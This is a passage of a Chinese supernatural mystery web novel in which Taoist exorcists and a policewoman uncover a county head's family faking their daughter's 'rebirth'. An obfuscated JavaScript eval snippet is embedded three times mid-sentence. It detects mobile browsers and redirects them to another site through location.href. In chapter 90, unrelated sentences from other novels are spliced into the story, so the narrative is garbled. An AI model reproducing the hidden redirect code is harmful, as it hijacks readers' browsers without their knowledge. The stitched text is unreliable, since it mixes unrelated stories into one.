“二十四……” 于玉晚不知所措地慌张眨眼: “会不会、是因为我重生了,多活了两年,所以我的人生信息默认我的岁数是往前算的。 如果我没有重生的话,现在、的确二十四岁。” 杨大哥斟酌问道:“你的生辰八字,你还记得吗?” 于玉晚点头:“我记得,是庚午年,二月初六,下午两点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17465907|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 杨大哥面色凝重地欲言又止。 郑警官突然纠正:“不对,不是庚午!” 于玉晚肩膀一颤,六神无主地转过身子,面向画板喘着粗气,仿佛猜到了什么…… 郑警官想说出答案,却又怕吓着于玉晚,只好像杨大哥一样,缄口不语。 片刻,杨大哥问下去:“于玉澜的生辰八字,你知道吗?” 于玉晚魂不守舍地嗯了声:“她比我早出生一天,时辰,应该是上午八点。” 杨大哥掐指一算,当场僵住。 手机里传来杨泽安的低低催促声:“哥,你算出什么了,你说啊!” 杨大哥不耐烦地推开杨泽安:“你一边去,等会我再告诉你!” “到底什么情况啊……啊?她怎么会……” “好了小萦,你们回来吧,我们商量一下怎么应付今晚的重头戏。”杨大哥发话。 我关掉视频电话,大致是什么情况也猜出个七八分了。 郑警官见状扶着于玉晚的肩膀,温柔说: “我们该回去了,不然监控画面被你爸看见,又会惹来不必要的麻烦。” 晓得于玉晚这会子正是心理最脆弱的时候,郑警官弯腰抱住于玉晚,亲昵地将下颌倚在玉晚肩上,凝声承诺: “小晚,不管发生什么事,大姐在你身边。不怕,你还有大姐呢!” 于玉晚善解人意地闭上双眸,乖巧点头,拍拍郑警官的手背: “大姐姐,你们快走吧,别被人发现了……大姐姐,不管发生什么事,你不会丢下我的,对吗?” 郑警官点头:“当然,我不止是你大姐,我还是个警察,你的案子,现在归我管,于公于私,我都会保护你,永远。” 于玉晚低头,悲伤地抿唇笑笑:“好,我信你。” 郑警官最后再拍了下于玉晚肩膀,随后带我和流苏离开于玉晚的房间。 我们出门后,于平安身上的法术也**玉衡解了。 还没走远,我就听见二楼尽头的房间里传来女孩摔画笔的杂声。 男人在房间里低低念叨了几句什么,紧接着就是女孩的崩溃呵斥:“滚!都给我滚——” 上了三楼,郑警官特意在路过杨大哥房间门口时,顺手敲了敲杨大哥的房门。 随后带我和流苏先回我们暂住的房间。 杨大哥与杨泽安两分钟后悄然尾随过来。 郑警官在杨大哥兄弟俩进来后,特意把房门反锁上。 “整个三楼,这间房最安全,没有监控,没有**器,房门也是隔音的。”郑警官锁完门,走过来冷静问道,“说吧,大家都有什么发现?” 胡玉衡从我身边牵走被吓得不轻的苏苏,一边温柔安抚,一边道: “她的身体很虚弱,是常年抽血导致的。还有,她现在,也没有子宫。” 颜如玉摸着下巴说:“这女孩怕是被人做局了。” 老**仙不知从哪卷来一支注射器: “她房间里,很多注射器,不明药物,应该就是你之前说的镇定剂了。” 郑警官看向杨大哥兄弟俩:“你们呢?” 杨大哥坐到茶桌前,淡定给自己倒了杯热茶,送到嘴边吹吹: “他家八卦挺多,你们想先听好消息,还是先听坏消息?” 郑警官皱眉,“坏消息。” 杨泽安坐在沙发上翘着二郎腿说: “坏消息是根本没有什么重生,她口中的前世,其实是她两年前真实发生过的事。” “什么?”郑警官错愕怔住:“万万没想到,临了竟是这个答案。那,她能预见未来又是怎么回事?” 杨泽安吊儿郎当叹道: “咱们这位于叔是什么身份?一县之长!他想演场戏,别说是什么医院,学校了,就是你们**机关也得老实配合。” 郑警官踉跄后退一步,双腿一软,险些没站住重心。 “别急着崩三观。”杨大哥抿了口茶水,道:“还有个坏消息,你听了或许更无法接受。” 郑警官强撑着精神不崩溃,问:“什么?” 杨大哥说:“根据于玉晚提供的生辰八字推算,于玉澜并不是早死的命。” 第88章 龙鳞在于玉晚手里! “并不是早死的命……”郑警官犹豫着追问:“杨道长还请明说。” 杨泽安帮忙解释道:“就是于玉澜根本没死的意思!” “于玉澜没死。” 苏苏小声怀疑: “那岂不是,于玉澜又算计了晚晚姐一次?那赶紧告诉于县长他们啊!” 郑警官摇头,全都明白了: “杨道长的意思是,小晚根本没有重生,而小晚从前的经历,于县长及夫人还有于平安,他们其实都是旁观者,甚至,还是帮凶! 那就证明,于县长他们其实两年前就已经知道了养女的真面目,他们把小晚逼跳河后,于县长为了挽回小晚,又利用职务之便给小晚做了这么大一个局。 医院、学校,都在陪小晚演重生的戏。 所谓因重生能预知未来,其实都是于县长他们为小晚精心准备的剧本。 他们为让小晚确定自己重生到了两年前,就按照两年前发生的事情轨迹,又陪小晚走了一遍。 所有人有熟知剧本,或许连于玉澜,都是他们的重要演员之一。 小晚以为自己是重生手握剧本,才改变了自己的命运,可实际上…… 是于县长这一大家子在配合小晚走复仇爽文的剧情! 照这么说,养女**身亡,大概也是他们提前安排好的高潮剧情桥段。 于县长想用这种方式解小晚的心结,只是他也没料到,家里会闹鬼,会出现这种人力不可掌控的变故!” “所以,王瘸子提出要看于玉澜骨灰,于县长坚决不同意。 不是因为他们不愿养女死后被挖坟,魂魄不安。 而是,养女根本没死,他们根本拿不出养女的骨灰。”我说。 杨大哥颔首:“就是这样。” 我轻轻说: “如果于县长一家是想通过这种方式来让女儿余生过得不那么痛苦,倒也情有可原。 那这个局,顶多是个善意的谎言。 虽然于县长他们现在做再多,也弥补不了从前对于玉晚的伤害,可至少于玉晚本人是渴望得到父母的爱,渴望过上现在的生活。” “假如于县长一家是真心实意悔过,想弥补,我们大家自然是喜闻乐见。 可,怕就怕于县长的目的,并不是单纯想守护补偿这个闺女。”杨泽安沉沉道。 大**仙用尾巴卷起注射器: “对啊,如果真心悔过,真的心疼,又怎会舍得在弥补时,又做伤害闺女的举动,那不是雪上加霜吗? 于小姐只是怕鬼,又不是犯精神病,为什么要用镇定剂?” “有没有可能,是于小姐的精神早在两年前就被摧残重创了…… 当然,眼下还有一个更重要的问题。” 我看着郑警官说: “如果仅仅是深陷局中被表象迷惑,于玉晚为什么连自己的出生年都记错。 还有,她已经以重生者的身份在这个家里生活一年了。 如果仅仅是被困在这栋别墅里,会发现不了一丝异样很正常。 可这一年于玉晚的活动范围还涉及外面的学校,一个学校那么多人呢,难不成于县长能让整个班、整个系与于玉晚同届的学生,都回来陪于玉晚演戏? 而且,还有外面的社会,两年前的县城,与两年后的县城肯定会有很多不一样的地方。 如果于玉晚始终保持清醒警觉的状态,不可能会发现不了外面世界的不同。 但她直到今天,都还坚定地认为自己是重生者。 要么,她是接受不了现实,自我封闭,自我洗脑了。 要么,两年前她跳河后,于县长让人给她的脑子动手脚了。” 郑警官皱着眉头立即开口: “我偏向后者,因为我、前师娘,在去世前那两年,精神状态和小晚现在的状态,一模一样。 只是,她是真被幻觉给困住了。 据我所知,县人民医院有个从京城回来的神经科医师,和于县长私下常有来往。 他回来这些年,特别擅长给别人治神经错乱。 可我师娘当年,却被他,越治越严重。” “咱们还是得一步一步慢慢来揭秘。” 杨大哥镇定安排: “目前能确定的,就是于玉晚没有重生,于玉澜也没死。 既如此,那些鬼无端变成于玉澜的样子吓唬于玉晚,原因就要从于玉澜身上找了! 先前我们把重心放在了鬼魂身上,忽略了于小姐本人,现在看来,于小姐本人才是最大的突破口。 这样,大家先按兵不动,中午于县长那边突然通知,说王瘸子今晚要设坛打鬼。 王瘸子不是那些鬼的对手,八成又是江墨川在背后撑腰。 风柔突然认于县长和于夫人为干爹干妈,也很蹊跷。 咱们今晚先看看情况,都不要轻举妄动,免得打草惊蛇!” “知道了。”郑警官点头示意。 杨大哥拍拍身上的道袍,突然昂头又问:“你前天晚上,去哪了?” 郑警官想了下,说:“去和最近查的一个案子接头人见面了。” 杨大哥哦了声,随后交给郑警官一片柳树叶,叮嘱道:“随身携带,可逢凶化吉。” 郑警官接过柳叶,礼貌道谢:“多谢。” 聊完事,郑警官离开后,杨大哥才叹道: “于玉晚将自己的生辰八字记岔了四年,大概是有人用药物伤了她的脑神经。 为了一个养女,把亲女儿害成这样,于县长一家活该不得善终。” 杨泽安嫌弃挑眉: “要不是哥你非说咱爸生前和于县长交情好,咱家这些年也承蒙于县长罩着,于县长对咱家有点恩情,坚持要来干这费力不讨好的买卖,我都不乐意放你过来。 这些当官的都不是什么好东西,手上沾染了太多因果,或许他家现在的遭遇就是他的报应呢,咱们给他消灾解难,万一遭天谴了呢!” “我也没料到,他家情况这么复杂,我最开始应下他的差事,还以为只是单纯来抓抓鬼。” 杨大哥抿了口茶水道: “对了泽安,你还记得咱们小时候,咱妈提到过于叔的前妻时,好像顺嘴说过,于叔前妻也给于叔生了个女儿吗?” “还有这档事?”杨泽安惊讶问:“什么时候,我一点印象都没有啊!” 杨大哥心累揉太阳穴:“就知道你这脑子不装事!重要信息是一点也不留!” 杨泽安无奈反驳: “哥你怕是忘了你比我大十岁! 我五岁的时候,咱爸妈就驾鹤西去了,你指望一个五岁的孩子记得亡母生前随口说的一句关于别人家的八卦? 再说,从我记事起,到现在,我只见过于县长现任妻子的一双儿女,我听人提过于县长前妻,可却没听说过他前妻还给他生了个闺女。 不过……他既然还有个大女儿,为什么这些年从没见他大闺女在公众面前露过脸?” 杨大哥道: “或许,是跟着姥姥姥爷去外省发展了吧。 于县长前妻娘家财力丰厚,据说当年于县长前妻因病去世后,于县长老丈人就和于县长闹掰了,他那个大女儿也对于县长心有怨怼。 后来于县长老丈人举家搬离本地,于县长的大女儿也自愿跟着姥姥姥爷一起走了。 这些年,可能从未回来过。” 苏苏躲在胡玉衡怀里弱弱吐槽:“难怪郑棠姐说,于县长女儿多……亲生女儿养女儿干女儿一个接一个。” 杨泽安理解不了道: “于县长前妻是病故的,他们的大女儿为什么会对他这个爹心怀怨怼呢? 还一走就是二十多年,再也没回来。这是想和于县长断绝关系啊!” 杨大哥斟酌说: “或许,是于县长当年在妻子生病时做了什么事伤到了女儿的心。 郑警官刚才不也说了,于县长当年找的那个神经科医师给妻子治病,结果却越治越严重吗。 你刚才有句话说对了,当官的,没一个手上是干净的。 于县长的手相我瞧过,他克妻。 而且现在这位,在实际意义上,应该算是他的第三任妻子。 他前两任妻子的死多多少少都和他沾点关系。 于县长此人能在官场摸滚打爬三十多年,就绝不可能是个头脑简单的普通人物。” “这个于家,还真是人人身上都藏着不可告人的秘密!” 杨泽安伸了个懒腰,不解道: “怎么突然提起那个大女儿了?难道这中间还有他大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17465908|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿的事?” 杨大哥摇头:“就是刚才见到郑警官,下意识就想到了这个人。” 我双手托腮,扭头问苏苏: “你的眼睛……竟然不止能看见鬼。还能看见人体内的器官?那岂不是比医院X光还厉害!” 苏苏委屈解释:“没有,我只能看见于小姐的肚子里像个黑洞,洞里什么都没有。看不见具体器官的,不是透视眼。” 杨大哥替我解惑: “小流苏的这双眼比阴阳眼还高级些,她看的是神,而不是形。 她眼中的女子腹部就是孕育新生命的胎灵宫,胎灵宫空了,她就只能看见一个乌漆八黑的黑洞。 不过严谨点讲,不该称之为黑洞,而该称其为血洞,那些黑雾实际上是黑红色的血雾。 要真像X光那样,可以扫见**的形,那小流苏也分不出哪里是肠子胃,哪里是子宫。” 这话说得倒是没毛病…… 我想了想,还有一个问题: “之前去见于小姐,我刚靠近于小姐,肩后的鳞伤就有了反应。 于小姐手上,该不会有我的龙鳞吧?” 杨大哥倒抽一口气:“不像,若是真有你的龙鳞,那些鬼就靠近不了她了。” “那我的伤,为什么会对她有反应?”我绞尽脑汁都想不通。 柳云响倏然也从藏息铃里飞了出来,落地化出人形,一语道破: “因为你之前找回的那片鳞,就是我从于玉晚那得来的!” “什么?”我惊讶愣住。 柳云响理了理黑纱广袖,正儿八经的说道: “先前你带我们去看望于玉晚,我瞧见她的第一眼就感觉她有点眼熟,但就是想不起来在哪见到过。 刚才你说,你的鳞伤遇见她有反应,我才突然记起来她究竟是谁…… 你还记得我和你说过,你的那片鳞是怎么落到我手里的么? 去年春天,黄河东大桥上有个女孩跳河轻生,但被她家里一个年轻男人给救了。 她坠河时,那片龙鳞从她脖子上掉了下来,这才落进我手里。 没想到,时隔一年,我竟然还能见到她。” “原来你说的跳河女孩就是于玉晚。” 我豁然开朗,更加断定: “这下可以肯定,重生百分百是假的了! 你去年见到她那会子,应该就是她说的,她前世彻底崩溃,跳河解脱的节点了。 可这样讲的话,她的那片龙鳞已经回到我手里了,我身上的鳞伤怎么还会与她产生感应?” 胡玉衡猜测道: “有没有可能,她手上……还有另一片龙鳞? 或者,她接触过另一片龙鳞。 另一片龙鳞,就在她身边?” 我怔住,虽然这个可能有点渺茫,但……万一真这么巧合呢! 我当即冲出去,想找郑棠姐问问她有没有见过我的龙鳞。 可不巧的是,我刚出门,就看见郑棠姐从走廊尽头的拐角处下楼了。 我加快步伐想要撵上她,我走到三楼楼梯口时,郑棠姐正好从二楼楼梯口拐进二楼过道。 她要去找于玉晚吗? 那更好,实在不行,我就直接问于玉晚本人。 毕竟,现在是她有求于我们。 然而等我追到二楼时,却又发现郑棠姐往相反方向去了。 郑棠姐走到一扇类似于书房保险门的朱漆大门前,环视周围环境,见没人,熟练拔掉密码电子锁的电池,将一把形状特殊的银色小钥匙**缺口内,轻轻一转。 房门无声打开,郑棠姐闪身进去,又将大门合上。 郑棠姐……怎么会有于县长家这么多房间的钥匙? 她这样子,不像是偷溜进去干正经事的! 于县长家的房间布局整得像机关行政楼布局。 东西南北都是岔口走廊,没等我猜出郑棠姐到底想干嘛,另一个方向的走廊上就传来于平安与别人打着电话的低沉嗓音: “好了,你听话,以后不许再这么胡闹了! 你知不知道昨天差点就露馅了,还好对方只是求名…… 现在家里又来了两个陌生小姑娘,不过我看她俩年纪挺小,应该没什么真本事。 等我把他们都打发走了,我再去陪你。” 第89章 我好像对你姐夫产生了非分之想…… “我不是和你承诺过嘛,我对你的心不会变的! 乖啊,四百平的大别墅住得还不舒心吗? 你说你认床睡不着觉,咱妈就亲手给你做个枕头让我送过去,咱妈还是疼你的,你啊,就踏踏实实地在那边住下。 等你什么时候怀孕了,咱爸妈的气也就消了,我就搬过去和你一起住。” “谁说不会给你名分了? 你现在的身份可是市里著名企业家的掌上明珠,你要是实在不放心,我明天就拿户口本去和你登记结婚。 就算咱爸把我的腿打断,我也得给你个保障不是?” 我赶紧拐到另一个条走廊的墙后躲起来。 于平安的声音越来越近: “晚晚的情况,还是不容乐观。 不过,过了今晚应该就能好起来。 我不是怪你……听话,多别想,你也是我的心尖宠,我怎么可能不要你。 对了,你昨夜打电话和我说,肚子疼? 我已经让老陈去给你送药了,虽然已经过了一年时间,可移植的东西终归不是自己长的。 那些药还得按时吃,抗排异的,不然会疼的。” 听见于平安顺着楼梯下楼的声音了,我才松口气。 于县长家的这位大公子没想到还是位金屋藏娇的主。 又过了将近五分钟,我才从走廊拐角里迈出来。 于家的人,确实每个都奇奇怪怪的。 郑棠姐来于家的真正目的,又是什么? 我想原路返回三楼来着,谁知道往楼梯方向走时,正好和折返回来的于平安撞个正着! 于平安手里拿着屏幕还没灭的手机,神色慌张地爬上二楼,看见我,于平安鲁莽地一把抓住我胳膊疾声质问:“你在二楼做什么?刚才是不是你碰了书房的门!谁允许你往二楼跑的!” 我的手腕被他攥生疼,极度不适地想甩开他:“我没有,你先放开我!” 可他却像个狗皮膏药似的,无论我怎么卖力甩他手,都无法把他扔掉。 他脸色难看的瞪大双眼还要质问我,可开口的那瞬间却被一道法力灼开爪子,被迫五指一松,放开我的手腕。 踉跄往后退两步,不知道是他太倒霉正好一脚踩空还是帝曦对他下黑手了…… 总之他后面一阵叮叮咣咣直接丢人的从二楼楼梯上摔滚了下去。 幸好楼梯转弯处的水晶汉白玉扶手挡了他一把,这才让他停在了一楼与二楼中间的楼梯平台上,没让他继续滚下去,摔得青一块紫一块—— 帝曦悄然出现在我身后,抬袖揽住我的腰,居高临下地俯视摔得抱膝痛叫的于平安,一脸嫌弃。 “爪子不老实,那就别要了。” 话音刚落,于平安又攥着右手腕哀嚎起来。 我震惊的昂头看了眼面色不悦的帝曦,好家伙,言出法随啊! 县长夫人听见动静从外面踩着高跟鞋小跑进来,见自家大儿子摔在楼梯上,楼上还站着我这么一个陌生人,脸上的关心瞬间被愠怒取缔。 放慢脚步,县长夫人优雅端庄地黑着脸轻斥: “平安,怎么这样不小心,在客人面前如此失态,成何体统!” 于平安憋住哀嚎,忍痛扶着楼梯扶手从地上爬起来,着急朝县长夫人告状: “妈!我刚才手机收到提醒,有人碰了爸书房门锁。 我刚跑上来就撞上了她,我问是不是她刚才在我爸书房门口,结果她力气还挺大,一把就将我从楼上推了下来! 妈,我合理怀疑这个女人想窃取爸书房的**,我怀疑她居心不良,妈,让张队长过来,把她带去派出所好好审一审! 就算她没有问题,也不能让她在家里住着了。 这些人来历不明,郑棠一个人在家里赖着不走也就算了,还带两个贼来!” 我张嘴正欲辩解,县长夫人却先冷脸斥责道: “胡说什么呢!这个家小棠就算住一辈子也是应该的! 你少嘴贱,什么贼不贼的。 还要惊动张队长,你是想让外面人都看咱家笑话吗? 捉贼拿赃,家里不是有监控吗? 查查,看是不是这位小姐走错门误触了你爸书房电子锁。” 县长夫人倒是冷静,有大局观。 于平安为难道:“我刚才第一时间就翻了监控,谁知家里佣人打扫屋子把路由器拔了,正好那段时间路由器离线,什么都没拍到!” 县长夫人听罢朝我投来了怀疑的目光,可让我没料到的是,于小姐竟也听见动静从房间走了出来,还主动开口帮我解围:“是我,碰了爸爸的书房门锁。” “小晚。”县长夫人见到于玉晚,脸上的严肃之色立时消减大半,换上慈母的温柔,轻声问:“你找你爸,有什么事吗?” 于玉晚情绪低落道: “没什么事,就是想你们了,想去找你们说说话。 我去你房间找过你,你不在。然后我才去了爸的书房…… 爸书房有什么**吗?我以前,也经常去爸书房。 你们没人和我讲过,不能进。” 县长夫人忙安慰于玉晚: “没有,只是外人不方便进,小晚是我们的宝贝女儿,自家书房有什么不能进的。 你哥他是担心你爸书房搁了几分政府**,被外人看了去会出事。 你知道的,有些文件在没有召开具体会议前是不能打开的,一旦被人先瞧见,**部门是要小题大做的!” 于玉晚低头,默默走到我身边,挽住我的胳膊: “风萦姐姐是来陪我玩的,你们不许把她吓跑了,我没有什么朋友,我想要新朋友。 只有风萦姐姐愿意和我玩,风柔姐姐总在背地里翻我白眼,和于玉澜一样,让人讨厌。” 我意外地扭头看她…… 这位于小姐,真是聪明机智。 于平安忍痛一瘸一拐地靠在楼梯扶手上,“我就说那个风柔不是什么好人吧!没事啊小晚,不喜欢就不和她玩!” 于玉晚僵着脖子看向于平安,“你刚才为什么要抓着风萦姐姐胳膊不放?我都瞧见了,是你自己摔下去的,为什么要污蔑风萦姐姐推你?” 于平安顿时语塞,神色紧张的昂头和于玉晚耐心解释:“不是,我是真感觉到有人推我……” 于玉晚眼中无光地低低反问: “你也和于玉澜一样,喜欢用这种方式欺负人,对吗? 当初,于玉澜也是这么诬陷我的,你们真不愧是一家人,对待讨厌的人,都用一个招数。 哥,小时候你不是最疼我吗?为什么后来,你就讨厌我了。 你分明猜到于玉澜是在演戏,可你还要帮着于玉澜在爸妈面前诋毁我,害爸妈生气,把我拉去医院抽血。 哥,为什么,我一无所有,你们却把所有爱,都给了别人。 哥,你还疼我吗?” “我……” 于平安霎时哑了嗓子,眼底愧意泛滥。 县长夫人不觉红了眼眶,深呼一口气,踩着高跟鞋从容端庄的走到于平安面前。 抬手就毫不犹豫地给了于平安一巴掌,沉声警告道:“不许再刺激你妹妹,不然你也给我滚出去!” 于平安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471476|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还想辩解,但迎上自家妹妹的空洞目光,只好忍气吞声地一瘸一拐灰溜溜滚了。 县长夫人想上楼来安抚女儿,于玉晚却挽着我胳膊转头就走。 成功将县长夫人晾在了楼下。 回到她房间门口,她忽转身,一把搂住我。 苍白的唇贴在我耳畔,聪明地小声说: “告诉大姐姐,密码是于玉澜生日倒过来,打开后找粉色文件夹,里面有她想要的东西。 还有,从现在开始,你们有什么计划得加我一个,行动之前,记得和我通个气,我也想知道真相,当然,也方便给你们打掩护。 还有,让明昊哥哥六点整打开手机摇一摇,摇附近的人,我是红眼黑兔头像,加我好友!” 我愣了下,但马上就反应过来她想做什么了。 抬手拍拍她的后背:“好。” 回三楼,我小声和帝曦聊天:“真是没想到,于小姐猜出真相后,竟是这个反应。” 帝曦淡定走在我身边: “被一家人当猴耍了两次,不是这个反应,难不成还傻傻地指望自己真能和他们不留遗憾地重来一世? 于家人搞出重生这一出戏,根本不是在弥补于玉晚,而是妄想用重生,来掩饰自己犯下的过错。 这样的重生对于玉晚来说,根本不是救赎,而是二次伤害。” “是啊,把她的身体与精神折磨成这样,连那东西都失去了……不管怎么说,人体失去个器官,对她的身子损伤都极大。于家人真是太残忍了,与其这样,还不如当初就不认回她。” 我低头喃喃说。 “也是于玉晚自己执着于得到父母的爱,这才生出这一劫。”帝曦道。 我郁闷地叹口气,接着问他: “我的第二片龙鳞到底在谁手里? 你昨天那么爽快的答应和我一起来县城赚钱,我就该猜到,你肯定是另有所图。 毕竟钱对你这位龙王爷而言,就是几张废纸。 要不是为了帮我找龙鳞,你也不会跟我一起过来蹚浑水。” “很快你就能与你的第二片龙鳞相遇了。”他没良心道:“让你多出来走走不好么?成天在家里躺着,都发霉了。” “你能不能照顾一下我这个残血同伴?”我捂着酸痛的腰腹委屈嘀咕:“我疼啊,躺着才能舒服些,你竟然还嫌我发霉。” 他深深瞧我一眼,片刻,别扭地抬袖揽住我,另一只手轻轻抚在我的小腹上,拧眉关心:“还没结束?” 我哀伤叹气:“可能还得两天吧,这个月疼得格外厉害。” “许是前几天在水里泡久了,受寒了。”他脸色不自然地轻轻问:“本王、先前问过柳云响……帮你揉揉,会不会好些。” 我呼吸一顿,怔怔昂头看他,对上他那双幽紫深眸,莫名心跳如鼓。 心虚地别过头不敢再看他,我装作镇定:“你试试。” 他抚在我腹部的玉指微颤,过了好几秒,才尝试帮我揉:“本王没、做过这种事……若是手重了,你告诉本王。” 倒是,还挺舒服。 我脸颊发烫地咬唇点头。 心还是不受控,跳得很厉害…… 回了房间,苏苏洗完澡爬进我的被窝,晃了晃我胳膊,把我摇醒神。 “二姐,你怎么了? 回来就一直发呆,也不说话。 你有心事?你在想什么呀?” 我这才将思绪从和帝曦在一起的画面里抽离回来,抬手捂住烫手的脸颊,欲哭无泪道: “苏苏,我好像、对你姐夫产生了一丢丢非分之想。” 第一卷 第90章 大王,娘娘说她喜欢你哎! 苏苏闻言顿时来了兴致,往被窝里拱了拱,两眼放光地八卦追问: “二姐详细说说!什么非分之想?” 我不好意思地红着脸小声嘀咕: “就是、突然觉得,有他在身边也挺好。 他很照顾我,比我从前遇见过的所有人待我都好。 而且……我好像、对他生出了贪念。 李萍抬起手,直接把手枪抓在了手里。然后,对着那个黑衣大汉的一条腿就扣动了扳机。 韩飞安然无恙,反倒是那个悍匪直接透过破碎的车窗被甩飞了出去,由此可见,开车系好安全带相当的重要。 “我知道。”韩飞淡淡的开口道,随后将车速又提上了一个档次。 不过也有比不上的存在,上一个纪元留下来的那些,各方面都要远远超过叶倾风出品。至少在卡尔大陆上建个城那是没关系,并且一门炮就能搞定一个城池的防御。 自由什么的只是第一个报酬,另外的报酬放在指定地点。叶倾风现在可还不想现身,因此一切都靠站在旁边的绿韵在操作,仔细看起来绿韵的气度似乎有那么一点不同。 有了南方这么一顶,飞船的前进速度明显一缓,不过距离完全停下还有一段距离,而大青花鱼几人上去帮忙之后,这艘飞船也就迅速慢了下来。 我轻车熟路的来到了邢斌父亲的办公室,连门都没有敲,就直接闯了进去。 真正让斯普洛觉得有些忌惮的,是阿亚尔的弟弟,林斯特手底下的那一只身份不明的队伍。 它们的妖山上,那才叫天宝密布,仙灵遍地。随手一抓都是一把仙草,仙树上的露水,都是琼浆玉液。 魔修并不理会老兽王的表情,扭头对刘鼎天说道,他被狼王制住,全身灵力无法施展,肩膀处被洞穿,黑色的魔血虽然已经凝固,但长期这个样子也不是个事。 “贪!”翟秋子大喝道,虽然语气有些怒意,但众人看得出,翟秋子似是松了一口气,放下了什么东西一般。 周惜琴并没有多大的反应,可邓满洲却吓坏了,他游历数个海域,还从没有见过这样怪异的术。 “沈千金,一句话,就你一句话!”一位平民代表,特别激动,都已经是无法控制情绪,了,因为他都把银盘架在了脖子之上。 可是,他实在不想再等了,更不想让这么个可以出头的机会就这么白白从眼前溜走。 可现在,天子的身体一日不如一日,大家就得为将来考虑了。于是一干朝廷重臣就开始商议起了哪个皇家子弟才是适合的太子人选来。 齐浩一想也是,自己确实总不参加哥几个的集体活动,这不太好。 衡山火神殿内,宗族长辈正点烛祭祖,历代先烈的牌位是没有资格列入火神殿的,所以他们祭拜的,是火神祝融。殿内只允许灼焰之声,听不得一丝细语,宗族长辈也压抑的慌,大礼过后便退出了火神殿,松了口气。 此刻他身上的金色已经非常浓郁了,金色的皮肤,金色的眉毛,金色的头发,看上起就跟一座金色的雕塑没有什么分别。 因此,趁着这两人正在四处打砸之时,暗中猛然出手,直接冲着那瑶光巅峰之人狠狠地来上了一记。 一道冷哼声响起,萧云飞的攻击瞬间收回,猛然转身,身体跃向高空,一腿横扫而出,袭向了身后的几名逍遥派弟子。 第91章 郑棠的** 追上三楼的杨大哥趁机麻溜从怀里掏出一张黄符,念咒催动法术,一举将朝他撞去的小鬼收进了黄符内。 院子里装神弄鬼的王瘸子猛地大喊一声:“把于玉澜的骨灰拿上来!” 王白雾当即利索将一只黑漆骨灰盒呈上去。 王瘸子装模作样地用桃木剑挑开骨灰盒盒盖,拿起桌上事先准备好的一碗公鸡血,扬手把血泼进盒子里,口中念念有词: “人有人道,鬼有鬼路,各归各道,善始善终,因果循坏,报应不爽,天理昭昭,违逆必罚……” 演完,还不忘抓起一把糯米撒出去。 桃木剑放回桌上的那一瞬,外面夜空一阵血光乍现。 这是,在于县长家附近布结界了? 杨大哥不屑道:“是江墨川出手了,用自己的法力将整个于家都罩了住。可惜,治标不治本罢了。” 风柔从外面跑进来,赶忙给于县长夫妇报喜:“干爹干妈,事成了。” 随后又去安慰情绪不太稳定的于玉晚:“小晚妹妹,玉澜妹妹的鬼魂已经被王大师给打散了,你以后不用再害怕了!” 双眼攀满血丝的于玉晚扭头看着刻意讨好于县长夫妇的风柔,嗤笑一声,冷冷质问: “你叫她什么?玉澜妹妹……呵,你也瞧出来了,我爸妈,还有哥哥,都更在意她。 所以,哪怕她成了害人的恶鬼,你们也不敢指责她半句,还得老老实实地嘴上称呼她为妹妹。” 猛一把推开风柔,于玉晚恼恨道: “你算什么东西!费尽心思地想做县长干女儿,你也想成为第二个于玉澜对吗?” 扭头望向县长夫妇,于玉晚故意借着疯劲又抓过风柔胳膊,硬把风柔的手塞进县长夫人手里,字字句句,锥心刺骨道: “妈,爸,哥,你们又要和她成为一家人了对吗?我不想要你们了,于玉澜带给我的痛苦,我不想再从头经历一遍! 你们舍不得于玉澜,所以又认个干女儿顶替于玉澜,十年二十年后,你们也会忘记于玉澜,只爱陪在你们身边的这个女儿…… 哈哈,这世上所有女孩,都可以做你们的女儿。你们就不配,有亲女儿!” “小晚妹妹我不是这个意思!” 风柔见情况不对又开始扮柔弱装可怜,奈何今晚的于玉晚已经看透了身边所有人,厉声呵斥道: “装,你继续装,爸妈,你们的眼光真好啊,她和于玉澜也一样会演,这么会演的女孩,才适合给你们做女儿……” 好不容易从鬼门关回魂的于平安听不下去的冲风柔发火: “哭什么哭!没完了是吧!你以后少出现在晚晚的面前,不然我和你没完!” 此时,作为现场唯一的外人,风柔就成了他们一家子的出气筒。 “没想到风柔的嘤嘤落泪有朝一日竟也会无用武之地。”杨泽安摇头啧啧感慨。 我牵着流苏的手,余光无意往郑棠姐身上一瞥…… 竟发现郑棠姐身体开始变透明了! 我一惊,赶紧猛踩杨大哥脚。 杨大哥嗷一声叫出来,顺着我手指的方向看去……差点呛住。 片刻,杨大哥解下自己身上的道袍,尴尬清了清嗓子,伸手给郑棠姐披上。 对自身情况一无所知的郑棠姐不解拧眉,昂头疑惑看杨大哥。 